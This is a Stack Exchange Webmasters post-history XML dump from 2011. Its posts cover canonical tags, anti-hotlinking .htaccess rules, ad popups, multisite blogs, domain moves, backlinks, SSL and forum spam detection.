  <row Id="24332" PostHistoryTypeId="2" PostId="10834" RevisionGUID="090f6480-22f9-44f8-8964-079ac7349434" CreationDate="2011-03-17T17:32:01.003" UserId="6149" Text="Can self-referencing canonical tag(rel=&quot;canonical&quot;) inside article improve google rating? &#xD;&#xA;&#xD;&#xA;The Case:&#xD;&#xA;&#xD;&#xA;1. Company have 40 sites with  original content and 1 main site with some of 40 sites articles.&#xD;&#xA;&#xD;&#xA;2. Main site have rel=&quot;canonical&quot; in each article &#xD;&#xA;&#xD;&#xA;**Should article in original site have also  rel=&quot;canonical&quot;  for self-referencing?**&#xD;&#xA;_____________________________________________&#xD;&#xA;example: &#xD;&#xA;&#xD;&#xA;inside main network site(reference to other site):`&lt;link href=&quot;http://site7.com/article25&quot; rel=&quot;canonical&quot; /&gt;`&#xD;&#xA;&#xD;&#xA;inside original network site(self-reference):`&lt;link href=&quot;http://site7.com/article25&quot;  rel=&quot;canonical&quot;/&gt;` &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="24333" PostHistoryTypeId="1" PostId="10834" RevisionGUID="090f6480-22f9-44f8-8964-079ac7349434" CreationDate="2011-03-17T17:32:01.003" UserId="6149" Text="Multisites Network SEO::Can self-referencing canonical tag(rel=&quot;canonical&quot;) inside article improve google rating?" />
  <row Id="24334" PostHistoryTypeId="3" PostId="10834" RevisionGUID="090f6480-22f9-44f8-8964-079ac7349434" CreationDate="2011-03-17T17:32:01.003" UserId="6149" Text="&lt;seo&gt;&lt;links&gt;&lt;site-ranking&gt;" />
  <row Id="24335" PostHistoryTypeId="2" PostId="10835" RevisionGUID="5a14073b-ca7d-465e-be07-d1b31c6cb71b" CreationDate="2011-03-17T17:42:29.197" UserId="1253" Text="Will it improve your ranking? No. All rel=&quot;canonical&quot; do is help Google know which URL is the primary URL for duplicate content. It doesn't influence the rankings as it is not an indicator of relevance or quality (and never was intended to serve this purpose).&#xD;&#xA;" />
  <row Id="24336" PostHistoryTypeId="2" PostId="10836" RevisionGUID="56e5c782-3dc9-47ee-9072-82f7f8371ea7" CreationDate="2011-03-17T18:26:38.047" UserId="5041" Text="You can use a search engine like [SearchBlox][1] to index and archive the rss feeds. After you install SearchBlox, create a RSS collection and add the urls, then set them up on a hourly schedule to index them. Not only will the rss items get archived but the news link will also get indexed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.searchblox.com/" />
  <row Id="24337" PostHistoryTypeId="6" PostId="10834" RevisionGUID="e8b26a8b-fd53-4cce-b948-f173310cac05" CreationDate="2011-03-17T18:37:33.340" UserId="1253" Comment="removed &quot;links&quot; tag and added &quot;canonical&quot; tag; edited tags" Text="&lt;seo&gt;&lt;site-ranking&gt;&lt;canonical-url&gt;" />
  <row Id="24338" PostHistoryTypeId="5" PostId="10780" RevisionGUID="8e2ce9fa-5804-4f1c-ad3e-9eaa2f26e48c" CreationDate="2011-03-17T19:26:32.033" UserId="6134" Comment="added 77 characters in body" Text="We build a webapp that allows users to run the app under their own subdomain.  So we run the app under search.domainX.com, search.domainY.com and so on.  They each have their own Google Analytics to track individual stats.  But we want to know what general traffic for all clients of our app.  So we want to know stuff like &quot;among all our clients we had x number of views.&quot;  What is the best way tool to track that sort of thing.  We prefer a snippet based solution similar to Google Analytics if possible." />
  <row Id="24339" PostHistoryTypeId="5" PostId="10808" RevisionGUID="a1bd5dfd-74cb-4add-b08c-0134ee7228c9" CreationDate="2011-03-17T20:10:45.767" UserId="233" Comment="added 1 characters in body" Text="For search engines, putting the correct URL in a [canonical link tag][1] is the best idea. Then if search engines follow the link, they know the correct URL to show in search results.&#xD;&#xA;&#xD;&#xA;Your concern may be with users copying the full URL and pasting elsewhere. A good solution here is to do a 301 redirect back to the canonical page. So when you load the home page, first check the URL parameters and take whatever actions you do already. Then serve a redirect to the root page without the query string.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="24340" PostHistoryTypeId="5" PostId="9992" RevisionGUID="42c3a611-c8d6-4b96-948d-69b16337484f" CreationDate="2011-03-17T20:25:07.583" UserId="5813" Comment="final thoughts" Text="I have a web site and someone had made an iphone app for my site without my permission and selling it. He is using my API without getting permission. &#xD;&#xA;&#xD;&#xA;How can i report this to Apple?&#xD;&#xA;&#xD;&#xA;EDIT: AFAIK, there's no way to report this to Apple. I blocked all requests from the iphone app." />
  <row Id="24341" PostHistoryTypeId="25" PostId="10826" RevisionGUID="8cd6ec72-2ac0-4b86-9e42-4d540c299258" CreationDate="2011-03-17T20:30:22.770" Comment="http://twitter.com/#!/StackWebmasters/status/48481322364186625" />
  <row Id="24342" PostHistoryTypeId="2" PostId="10837" RevisionGUID="764af987-34c3-46d9-a128-a9fa0315fb6b" CreationDate="2011-03-17T20:59:28.830" UserId="5041" Text="Try Visistat. They provide a javascript solution which can be embedded on the pages." />
  <row Id="24343" PostHistoryTypeId="17" PostId="10839" RevisionGUID="dad4b7cb-86f2-482a-83a0-eb8088fc51e9" CreationDate="2011-03-17T21:22:15.317" UserId="-1" Comment="from http://superuser.com/questions/173080/how-is-anti-hotlinking-done/173081#173081" Text="" />
  <row Id="24344" PostHistoryTypeId="17" PostId="10840" RevisionGUID="5cb15f86-9352-4614-8720-bda69ab4e5ac" CreationDate="2011-03-17T21:22:15.317" UserId="-1" Comment="from http://superuser.com/questions/173080/how-is-anti-hotlinking-done/173141#173141" Text="" />
  <row Id="24345" PostHistoryTypeId="2" PostId="10839" RevisionGUID="895ea699-8613-4473-a50e-e18482217322" CreationDate="2010-08-07T07:25:46.560" UserId="1068" Text="You can prevent hotlinking with a decent `.htaccess` file that checks the referrer. &#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_REFERER} !^$&#xD;&#xA;    RewriteCond %{HTTP_REFERER} !^http://(www\.)?mydomain.com/.*$ [NC]&#xD;&#xA;    RewriteRule \.(gif|jpg)$ http://www.mydomain.com/angryman.gif [R,L]" />
  <row Id="24346" PostHistoryTypeId="2" PostId="10840" RevisionGUID="7e3cd9d7-4799-4a3a-be13-fe90f59cfddf" CreationDate="2010-08-07T12:25:14.033" UserId="1204" Text="The usual technique is to use mod_rewrite as suggested by Josh. This isn't perfect but removes the majority of hot-linking so would probably do the job you are looking for.&#xD;&#xA;&#xD;&#xA;There is a more complex way that almost guarantees no hot-linking: make sure each visitor needs to use a different URL to get the same image:&#xD;&#xA;&#xD;&#xA;1. Place the image files where the web server can not ordinarily see them (so they can not be directly addressed by a simple URL)&#xD;&#xA;2. When you send out a page that uses an image, generate a random code to refer to this instance of this image (for instance use your scripting language's UUID functions to return a random UUID, or use a salted hash of the current time in milliseconds since epoc), and drop an row into a database that contains this code and the name+location of the image file and the current time&#xD;&#xA;3. Return to the calling browser an image tag or link that is a call to a script with this code in the URL&#xD;&#xA;4. When the browser makes a request to this script, lookup the right image in the DB using the code and return its data&#xD;&#xA;5. Regularly delete the rows from the database if they are older than an hour or so. This means the link to the image is only valid for an hour. For inline images you can make this shorter - say only keeping them around for a minute or two reducing the time the link to the image is valid.&#xD;&#xA;&#xD;&#xA;This had a couple of major disadvantages though:&#xD;&#xA;&#xD;&#xA; - You page must be scripted, turning what could be a plain static HTML page into something that requires a chunky script processor like PHP to be run&#xD;&#xA; - Each request for one of the protected images is also a scripted response instead of a simple request for a static object. You can get around this by using filesystem links instead of database entries if your OS and filesystem support this - just create a link to the image in a know spot on the filesystem that the web server can see, and send a normal URL to that - so you send out an image tag that refers to http://yourhost/images/random-code-blah-123456.jpg. Then you just need to clear out the links regularly instead of deleting database rows. If you don't want to (or can't) deal with links, just copy the file - but this imparts a lot of extra I/O load for each page request.&#xD;&#xA; - You are hitting your database more then you would otherwise need to. The symlink/hardlink/file-copy method gets around this though.&#xD;&#xA; - The images are available for hot-linking during the time-out period. You can work around this by using part of the caller's IP address as part of the code for the file. Don't use all the IP address though as many users are stuck behind proxies that may make their address change randomly (you should be safe to use the first half of the address though unless the viewer is using a global anonymising proxy network like Tor). This only works for the fully scripted approach though.&#xD;&#xA;&#xD;&#xA;If this all sounds like far too much work, you are probably right. Go with the mod_rewrite option - it is generally effective enough, imposes far far less load on your server(s) and is much less work to setup." />
  <row Id="24347" PostHistoryTypeId="2" PostId="10838" RevisionGUID="e69eab31-c79a-4d8d-8e0e-21ce00d461da" CreationDate="2010-08-07T07:21:23.407" UserDisplayName="Lazer" Text="In website terms, [hotlinking][1]  is&#xD;&#xA;&#xD;&#xA;&gt; the use of a linked object, often an image, from one site into a web page belonging to a second site. The second site is said to have an inline link to the site where the object is located.&#xD;&#xA;&#xD;&#xA;What does anti-hotlinking mean? How can a website prevent requests originating from some other server?&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Hotlinking" />
  <row Id="24348" PostHistoryTypeId="1" PostId="10838" RevisionGUID="e69eab31-c79a-4d8d-8e0e-21ce00d461da" CreationDate="2010-08-07T07:21:23.407" UserDisplayName="Lazer" Text="How is anti-hotlinking done?" />
  <row Id="24349" PostHistoryTypeId="3" PostId="10838" RevisionGUID="e69eab31-c79a-4d8d-8e0e-21ce00d461da" CreationDate="2010-08-07T07:21:23.407" UserDisplayName="Lazer" Text="&lt;websites&gt;&lt;server&gt;" />
  <row Id="24350" PostHistoryTypeId="17" PostId="10838" RevisionGUID="c7e18783-4b6e-4bf6-bcd3-20da84ce8a84" CreationDate="2011-03-17T21:22:15.317" UserId="-1" Comment="from http://superuser.com/questions/173080/how-is-anti-hotlinking-done" Text="" />
  <row Id="24351" PostHistoryTypeId="2" PostId="10841" RevisionGUID="263f2816-8279-461c-9a69-9bc36dedd0a7" CreationDate="2011-03-17T21:34:44.167" UserId="2285" Text="Whether clickjacking is an ethically responsible way of earning advertisement revenues is a subjective discussion and should not be discussed here.&#xD;&#xA;&#xD;&#xA;However, it appears that quite a lot of popular sites generate &quot;popups&quot; when you click either of their links or buttons. An example is the Party Poker advertisement (I am sure many of you will have seen this one).&#xD;&#xA;&#xD;&#xA;I wonder though, what kind of advertisement companies allow such techniques? Surely Google Adsense does not? But which do, and are they reliable partners?" />
  <row Id="24352" PostHistoryTypeId="1" PostId="10841" RevisionGUID="263f2816-8279-461c-9a69-9bc36dedd0a7" CreationDate="2011-03-17T21:34:44.167" UserId="2285" Text="Advertisement programs that allow &quot;clickjacking&quot; (earning advertisement revenues by popups generated by clicks on the website)?" />
  <row Id="24353" PostHistoryTypeId="3" PostId="10841" RevisionGUID="263f2816-8279-461c-9a69-9bc36dedd0a7" CreationDate="2011-03-17T21:34:44.167" UserId="2285" Text="&lt;advertising&gt;&lt;google-adsense&gt;" />
  <row Id="24354" PostHistoryTypeId="2" PostId="10842" RevisionGUID="480afafb-945e-453f-b0d2-47f4cb6ba2d2" CreationDate="2011-03-17T23:04:32.573" UserId="6163" Text="I am a Wordpress fan, and I'm now building a new site and I'm not sure which CMS can achieve what I'm trying to do. &#xD;&#xA;&#xD;&#xA;I am building a food blog network for a bunch of cities in the US, and I want to my city pages to be independently running blogs themselves. So basically...&#xD;&#xA;&#xD;&#xA; - Home Page - Its own blog with its own&#xD;&#xA;   users, talking about Food in general&#xD;&#xA;   &#xD;&#xA; - Dallas Page (child of home page) -   &#xD;&#xA;   Its own blog with its own users&#xD;&#xA;&#xD;&#xA; - Chicago Page ..... so on and so   &#xD;&#xA;   forth.&#xD;&#xA;&#xD;&#xA;The web layout and design will be all the same, but just trying to achieve 25~50 independent blogs on one domain.&#xD;&#xA;&#xD;&#xA;How can I achieve this? I'm hoping that I don't have to install Wordpress into as many subdomains that I create...&#xD;&#xA;&#xD;&#xA;Thank you for your help in advance.&#xD;&#xA;&#xD;&#xA;-RP" />
  <row Id="24355" PostHistoryTypeId="1" PostId="10842" RevisionGUID="480afafb-945e-453f-b0d2-47f4cb6ba2d2" CreationDate="2011-03-17T23:04:32.573" UserId="6163" Text="Is there a Content Management System that allows multiple &amp; independent blogs to be running on one domain?" />
  <row Id="24356" PostHistoryTypeId="3" PostId="10842" RevisionGUID="480afafb-945e-453f-b0d2-47f4cb6ba2d2" CreationDate="2011-03-17T23:04:32.573" UserId="6163" Text="&lt;cms&gt;&lt;blog&gt;&lt;content&gt;&lt;management&gt;&lt;system&gt;" />
  <row Id="24357" PostHistoryTypeId="2" PostId="10843" RevisionGUID="83632b3e-1e91-486c-989b-0722cf688c9e" CreationDate="2011-03-17T23:30:16.013" UserId="6162" Text="After recently announcing it, one of my readers with a background in website management sent me an email saying that I should reconsider moving my domain from [keyword]news.org to [same keyword]lab.com.&#xD;&#xA;&#xD;&#xA;It is a content-heavy news site around products that I hope to eventually build into a more comprehensive authority for the [keyword] industry I'm covering w/ B2B services, merchandise, etc. The current domain is a bit generic &amp; I think the new one will be more marketable.&#xD;&#xA;&#xD;&#xA;Relevant stats:&#xD;&#xA;&#xD;&#xA; - 320k-350k pv's/month&#xD;&#xA; - Google brings in 39% and Yahoo/Bing&#xD;&#xA;   4% of traffic&#xD;&#xA; - 10-11% of monthly search strings&#xD;&#xA;   contains &quot;&lt;keyword&gt; news&quot;&#xD;&#xA;&#xD;&#xA;SEOMoz Open Site Explorer stats:&#xD;&#xA;&#xD;&#xA; - Page authority: 65/100 &#xD;&#xA; - Domain authority: 58/100&#xD;&#xA; - Linking root domains: 226&#xD;&#xA; - Total links: 35,700&#xD;&#xA;&#xD;&#xA;I am familiar with what I need to do as far as [301 redirects][1], etc. I was assuming that I'd be ok after following Google's recommended procedures but now I am not so sure.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3399/renaming-a-domain-and-preserving-pagerank" />
  <row Id="24358" PostHistoryTypeId="1" PostId="10843" RevisionGUID="83632b3e-1e91-486c-989b-0722cf688c9e" CreationDate="2011-03-17T23:30:16.013" UserId="6162" Text="Renaming site, moving domain after 3 yrs. Should I reconsider?" />
  <row Id="24359" PostHistoryTypeId="3" PostId="10843" RevisionGUID="83632b3e-1e91-486c-989b-0722cf688c9e" CreationDate="2011-03-17T23:30:16.013" UserId="6162" Text="&lt;seo&gt;" />
  <row Id="24360" PostHistoryTypeId="25" PostId="10842" RevisionGUID="4556b2e1-a3e6-4249-af1b-0bcb0cc1b18d" CreationDate="2011-03-17T23:30:22.973" Comment="http://twitter.com/#!/StackWebmasters/status/48526622223106048" />
  <row Id="24361" PostHistoryTypeId="2" PostId="10844" RevisionGUID="34662fec-ef46-40a7-be72-5be8789d1cf7" CreationDate="2011-03-17T23:38:30.980" UserId="110" Text="Won't a WordPress Network do it?&#xD;&#xA;&#xD;&#xA;http://codex.wordpress.org/Create_A_Network" />
  <row Id="24362" PostHistoryTypeId="2" PostId="10845" RevisionGUID="33c42668-ffb0-4594-ae8e-502f3c7e9106" CreationDate="2011-03-17T23:59:35.057" UserId="4461" Text="Two Points:&#xD;&#xA;&#xD;&#xA; 1. Exact match keyworded domains, while powerful now, will be less-so in the future. Google's web-spam team has [already indicated this][1].&#xD;&#xA; 2. If it ain't broke - don't fix it. Really, it's the content that will win moving forward, not the domain name (unless the domain is unique like Twitter/Google/Yahoo/Techchrunch/etc).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/watch?v=rAWFv43qubI" />
  <row Id="24363" PostHistoryTypeId="2" PostId="10846" RevisionGUID="26b51ba9-fd4d-4023-988e-448d74e39d49" CreationDate="2011-03-17T13:12:10.583" UserDisplayName="atif" Text="i had searched for it in the backend admin panel but couldnt find anything as such :( can any1 guide me how to and from where to make it done ?" />
  <row Id="24364" PostHistoryTypeId="1" PostId="10846" RevisionGUID="26b51ba9-fd4d-4023-988e-448d74e39d49" CreationDate="2011-03-17T13:12:10.583" UserDisplayName="atif" Text="how to offer various shipping methods, Next Day, Weekend, Europe, Rest of the World (RoW)." />
  <row Id="24365" PostHistoryTypeId="3" PostId="10846" RevisionGUID="26b51ba9-fd4d-4023-988e-448d74e39d49" CreationDate="2011-03-17T13:12:10.583" UserDisplayName="atif" Text="&lt;magento&gt;" />
  <row Id="24366" PostHistoryTypeId="17" PostId="10846" RevisionGUID="df4c5a6f-cb6d-4422-9f2f-71f4df7655de" CreationDate="2011-03-18T02:24:42.127" UserId="-1" Comment="from http://stackoverflow.com/questions/5339463/how-to-offer-various-shipping-methods-next-day-weekend-europe-rest-of-the-wor" Text="" />
  <row Id="24367" PostHistoryTypeId="25" PostId="10843" RevisionGUID="db31efbb-1486-4a7a-9ea3-b6ff6ade9851" CreationDate="2011-03-18T02:30:23.087" Comment="http://twitter.com/#!/StackWebmasters/status/48571919267663872" />
  <row Id="24368" PostHistoryTypeId="25" PostId="10810" RevisionGUID="22fbf2c8-bc36-40f2-8cf5-1866ce776230" CreationDate="2011-03-18T05:30:23.820" Comment="http://twitter.com/#!/StackWebmasters/status/48617222607876096" />
  <row Id="24369" PostHistoryTypeId="2" PostId="10847" RevisionGUID="4a68530a-67ee-4fd5-a550-43573832d4e5" CreationDate="2011-03-18T05:59:23.713" UserId="5954" Text="The key metric is percentage of repeat visitors.&#xD;&#xA;&#xD;&#xA;Web applications usually have a high percentage of repeat visitors. A visitor is more likely to do a specific set of tasks on the app, so if you provide a deep URL that saves 3 clicks, he'd appreciate it. If you provide custom shortcuts for each user based on what he is does often, that would be even better.&#xD;&#xA;&#xD;&#xA;Websites generally have a lower percentage of repeat visitors. If your content is well structured, and you know certain visitors are likely to visit only certain sections - you have a use case. For example, if you have a news site and know that some people only want the sports section, this may be a good feature. But its not a killer feature.&#xD;&#xA;&#xD;&#xA;In summary, take a decision based on repeat visitor percentage, and whether you have a website v/s webapp." />
  <row Id="24370" PostHistoryTypeId="17" PostId="10849" RevisionGUID="ac3a90d4-6a92-4a8a-83b3-74ff9f3643fa" CreationDate="2011-03-18T07:17:25.643" UserId="-1" Comment="from http://stackoverflow.com/questions/5337050/bought-some-backlink-but-how-to-use-it/5347404#5347404" Text="" />
  <row Id="24371" PostHistoryTypeId="2" PostId="10849" RevisionGUID="4da6067e-2efe-4fd1-891c-1e095b8dd8dc" CreationDate="2011-03-18T02:28:03.670" UserId="3622" Text="Regarding to backlinks, I hope you are talking about backlinks that are relevant to your web site, meaning if your web site covers Titanic, the movie of James Cameron, it is arguably helpful to your SEO if you get a link from movie related web site, or a web site/page focus on James Cameron. Depending on the intelligence of Google, which BTW we do not know, if you get a link from Cameron' own blog if he has your SEO may also benefit. &lt;p&gt;Anyway, my point is you need to make sure all of the sites / pages  from which you purchased links are focused on the same genre as your site does. Otherwise you are wastering your money and time. Even if you may get some juicy from links that have nothing to do with your site, sooner or latter, Google and other search engines will find out. The reason is simple, people which click your link from those sites find your web site has nothing to do with the web site they are browsing. It is annoying to users and Google (As Google claimed they are helping people finding information)&lt;/p&gt;&#xD;&#xA;&lt;p&gt;Now, if you brought good links, the best option is to put your home page link on them. however, depending on your landing page, and the relevance between your site and other sites you got links, you may consider put it on other pages as well. &lt;/p&gt;&#xD;&#xA;&lt;p&gt;I hope I made myself clear&lt;/p&gt;&#xD;&#xA;&#xD;&#xA; " />
  <row Id="24372" PostHistoryTypeId="2" PostId="10848" RevisionGUID="f0dcf483-b907-4fab-ba6c-c112fed7c67d" CreationDate="2011-03-17T09:17:47.923" UserDisplayName="Spencer Lim" Text="I have bought a lot of backlink but not sure how to get started with it.&#xD;&#xA;like any software to backlink the website or any guide to buld the backlinker.&#xD;&#xA;&#xD;&#xA;actually i got no idea on how backlinker in the market works,&#xD;&#xA;what the algorithm behind actually ? Is there any open sources or tutorial to get started with ?" />
  <row Id="24373" PostHistoryTypeId="1" PostId="10848" RevisionGUID="f0dcf483-b907-4fab-ba6c-c112fed7c67d" CreationDate="2011-03-17T09:17:47.923" UserDisplayName="Spencer Lim" Text="Bought some backlink but how to use it ?" />
  <row Id="24374" PostHistoryTypeId="3" PostId="10848" RevisionGUID="f0dcf483-b907-4fab-ba6c-c112fed7c67d" CreationDate="2011-03-17T09:17:47.923" UserDisplayName="Spencer Lim" Text="&lt;seo&gt;" />
  <row Id="24375" PostHistoryTypeId="17" PostId="10848" RevisionGUID="d2fe4cda-cb20-493f-9f33-0828f977b278" CreationDate="2011-03-18T07:17:25.643" UserId="-1" Comment="from http://stackoverflow.com/questions/5337050/bought-some-backlink-but-how-to-use-it" Text="" />
  <row Id="24376" PostHistoryTypeId="2" PostId="10850" RevisionGUID="44baa6f8-b7f3-414b-892c-c1177f8ea145" CreationDate="2011-03-18T07:48:56.327" UserId="6165" Text="There are different type of SSL Certificate are available in the market. so buyer are confused which SSL Certificate is best for them like you question here. If your want to secure your domain plus subdomain then i recommend you to use [Wildcard SSL][1]. SSLMatrix.com provide Cheap Wildcard SSL from RapidSSL. if you wondering cheap ssl certificate then also available on sslmatrix.com. RapidSSL Certificate at only $9. In short it's all depending on what type of requirement you have. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.sslmatrix.com/sslcertificates/wildcard-certificates" />
  <row Id="24377" PostHistoryTypeId="25" PostId="10820" RevisionGUID="0a88b16b-4bb6-4dee-9acd-6cf0965df68a" CreationDate="2011-03-18T08:30:23.837" Comment="http://twitter.com/#!/StackWebmasters/status/48662521346916352" />
  <row Id="24379" PostHistoryTypeId="2" PostId="10852" RevisionGUID="3c1094bb-daa2-4f05-96d5-8885e6264c7b" CreationDate="2011-03-18T09:42:25.197" UserId="5639" Text="How can you tell if the people that are spamming your forum or website are in fact bots or human spammers?" />
  <row Id="24380" PostHistoryTypeId="1" PostId="10852" RevisionGUID="3c1094bb-daa2-4f05-96d5-8885e6264c7b" CreationDate="2011-03-18T09:42:25.197" UserId="5639" Text="How to tell whether spammers are bots or humans?" />
  <row Id="24381" PostHistoryTypeId="3" PostId="10852" RevisionGUID="3c1094bb-daa2-4f05-96d5-8885e6264c7b" CreationDate="2011-03-18T09:42:25.197" UserId="5639" Text="&lt;spam&gt;&lt;spam-prevention&gt;&lt;botattack&gt;&lt;captcha&gt;&lt;spamming&gt;" />
  <row Id="24382" PostHistoryTypeId="2" PostId="10853" RevisionGUID="17babdb6-2fd9-4896-a263-735ea7a22881" CreationDate="2011-03-18T09:48:52.897" UserId="5739" Text="It is quite difficult to tell without adding further checks&#xD;&#xA;&#xD;&#xA;I would normally add a question that a computer can't answer. Ie &#xD;&#xA;&#xD;&#xA;&quot;If today is Thursday, what is tomorrow?&quot;&#xD;&#xA;&#xD;&#xA;&quot;What month comes before October?&quot;&#xD;&#xA;&#xD;&#xA;etc.&#xD;&#xA;&#xD;&#xA;I use this technique on our forum *as well as* a Captcha and it has reduced the amount of spam quite considerably. Just having a Captcha wasn't enough and I was still seeing a lot of sign ups.&#xD;&#xA;&#xD;&#xA;If your forum is being spammed, you need to also look at why it is such a nice target for spammers. Do you allow links posting for new users? Restrict this and other features that spammers love.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24383" PostHistoryTypeId="2" PostId="10854" RevisionGUID="ff991261-fde3-4314-966e-5c9e9a019dc7" CreationDate="2011-03-18T09:49:28.440" UserId="3622" Text="I would say it depends. If your web site is providing everything about Tomato Soup, or tomato Soup is a very competitive keywords, then I will use the first one, &#xD;&#xA;&#xD;&#xA;    website.org/en/tomato-soup&#xD;&#xA;Why? Because your web site gets more choice to show up when some search tomato Soup. If you use the second one or third one, your keyword tomato soup will be deluted by health or other words, in that case it is very hard to compete with some using the first url. &#xD;&#xA;&lt;p&gt;That being said, if you want to attract visitors who are health concourse, and incline to use long tail keyword like &quot;how can I keep healthy by having tomato soup&quot;or &quot;it is good for my health to have tomato soup,&quot; then you get a good shot by sticking to the last one. &lt;p&gt;So do your home work. And GOOD LUCK&lt;/p&gt;  " />
  <row Id="24384" PostHistoryTypeId="2" PostId="10855" RevisionGUID="d19039cb-c0af-4420-8ee1-045891b63895" CreationDate="2011-03-18T10:48:48.483" UserId="3659" Text="A best practice shows the following user friendly solution: Add a hidden field in your form. Bots will automatically complete all forms, whilst humans will not since they cannot see the hidden field. When all fields are submitted you know that its a bot and you simply won't allow submitting a message. Works great and there is no extra hassle for your website visitors." />
  <row Id="24385" PostHistoryTypeId="2" PostId="10856" RevisionGUID="cfc891c2-044f-4190-bd09-4b59453a226f" CreationDate="2011-03-18T10:52:44.103" UserId="3461" Text="[knowledgeTree][1] might be useful for you, probably (Bitnami has [an installer][2] to deploy it easily.). Seems there you have a feature, &quot;discussion threads&quot;, that might serve for the interaction you mention. For documents sharing, and security matters, seems very complete.&#xD;&#xA;&#xD;&#xA;  [1]: http://knowledgetree.org/Main_Page&#xD;&#xA;  [2]: http://bitnami.org/stack/knowledgetree" />
  <row Id="24386" PostHistoryTypeId="5" PostId="10852" RevisionGUID="768ef20a-f94f-446b-a176-f9f2f65e966d" CreationDate="2011-03-18T10:58:17.350" UserId="5639" Comment="added 152 characters in body" Text="How can you tell if the people that are spamming your forum or website are in fact bots or human spammers?&#xD;&#xA;&#xD;&#xA;**Please note that the question is not about preventing spammers. It is to *determine if the people that are already spamming* are bots or humans.**" />
  <row Id="24387" PostHistoryTypeId="2" PostId="10857" RevisionGUID="90d3fccc-ae4b-4bc1-8523-867f69f70f24" CreationDate="2011-03-18T11:02:24.057" UserId="5727" Text="It's impossible.  You can have signals to improve the likelihood they are a bot or human, but at the end of the day it's impossible to ever know with 100% certainty." />
  <row Id="24388" PostHistoryTypeId="2" PostId="10858" RevisionGUID="4564602b-fd49-4ae6-b165-f2498563615d" CreationDate="2011-03-18T11:23:14.953" UserId="5727" Text="Any have any experience using these?  And what are the pro's and cons?  Can you expect a high level of false positives?  Are they 100% effective?" />
  <row Id="24389" PostHistoryTypeId="1" PostId="10858" RevisionGUID="4564602b-fd49-4ae6-b165-f2498563615d" CreationDate="2011-03-18T11:23:14.953" UserId="5727" Text="DDos Mitigation Services" />
  <row Id="24390" PostHistoryTypeId="3" PostId="10858" RevisionGUID="4564602b-fd49-4ae6-b165-f2498563615d" CreationDate="2011-03-18T11:23:14.953" UserId="5727" Text="&lt;botattack&gt;" />
  <row Id="24391" PostHistoryTypeId="25" PostId="10852" RevisionGUID="b293b363-7f37-4d03-a2c3-e499f3a1c47d" CreationDate="2011-03-18T11:30:23.603" Comment="http://twitter.com/#!/StackWebmasters/status/48707818429235200" />
  <row Id="24399" PostHistoryTypeId="4" PostId="10846" RevisionGUID="ce03a9ba-da5d-4bfb-abc1-7da96e8f425e" CreationDate="2011-03-18T12:00:18.433" UserId="1643" Comment="The question on its own isn't clear, until you see the tag &quot;magento&quot;. I added that to the title so there's some context to the question." Text="How to offer various shipping methods for Magento, Next Day, Weekend, Europe, Rest of the World (RoW)." />
  <row Id="24400" PostHistoryTypeId="24" PostId="10846" RevisionGUID="ce03a9ba-da5d-4bfb-abc1-7da96e8f425e" CreationDate="2011-03-18T12:00:18.433" Comment="Proposed by 1643 approved by 1253 edit id of 73" />
  <row Id="24401" PostHistoryTypeId="2" PostId="10860" RevisionGUID="fa14b09f-afea-4d83-a707-9e80846fd802" CreationDate="2011-03-18T12:58:01.773" UserId="108" Text="Mike Hudson has all very good points. Another point is that Google newer domains as more likely to be spam so there is a chance you will lose some of your Page Authority with Google for a while because they are unsure if they can trust you." />
  <row Id="24402" PostHistoryTypeId="2" PostId="10861" RevisionGUID="453b3e18-ef0f-4864-ba47-124fe9e7f098" CreationDate="2011-03-18T10:14:51.253" UserDisplayName="avar" Text="I'm looking for a PHP guestbook script with the ability to reply to comments left by users (reply by admin or mod)." />
  <row Id="24403" PostHistoryTypeId="1" PostId="10861" RevisionGUID="453b3e18-ef0f-4864-ba47-124fe9e7f098" CreationDate="2011-03-18T10:14:51.253" UserDisplayName="avar" Text="php guestbook script with ability to replay to users comments" />
  <row Id="24404" PostHistoryTypeId="3" PostId="10861" RevisionGUID="453b3e18-ef0f-4864-ba47-124fe9e7f098" CreationDate="2011-03-18T10:14:51.253" UserDisplayName="avar" Text="&lt;php&gt;" />
  <row Id="24405" PostHistoryTypeId="17" PostId="10861" RevisionGUID="d0582745-b889-4574-b487-1b8f09558b62" CreationDate="2011-03-18T13:15:44.560" UserId="-1" Comment="from http://stackoverflow.com/questions/5350532/php-guestbook-script-with-ability-to-replay-to-users-comments" Text="" />
  <row Id="24406" PostHistoryTypeId="4" PostId="10861" RevisionGUID="c2f86da9-12c3-4f55-a143-d8f2dc645f1f" CreationDate="2011-03-18T13:18:51.487" UserId="1253" Comment="Fixed spelling errors" Text="php guestbook script with ability to reply to users comments" />
  <row Id="24407" PostHistoryTypeId="6" PostId="10861" RevisionGUID="c2f86da9-12c3-4f55-a143-d8f2dc645f1f" CreationDate="2011-03-18T13:18:51.487" UserId="1253" Comment="Fixed spelling errors" Text="&lt;php&gt;&lt;looking-for-a-script&gt;" />
  <row Id="24408" PostHistoryTypeId="2" PostId="10862" RevisionGUID="94ec684e-a72b-414b-bd7c-09040160531b" CreationDate="2011-03-18T13:47:30.647" UserId="5739" Text="Try [Lazarus][1] &#xD;&#xA;&#xD;&#xA;It states: Other guests can comment on existing entries, and I imagine this can be locked down to just admin/mods (but am promising nothing).&#xD;&#xA;&#xD;&#xA;For a laugh, have a look at this [brutally honest page by the author of phpBook][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://carbonize.co.uk/Lazarus/features.php&#xD;&#xA;  [2]: http://phpbook.sourceforge.net/" />
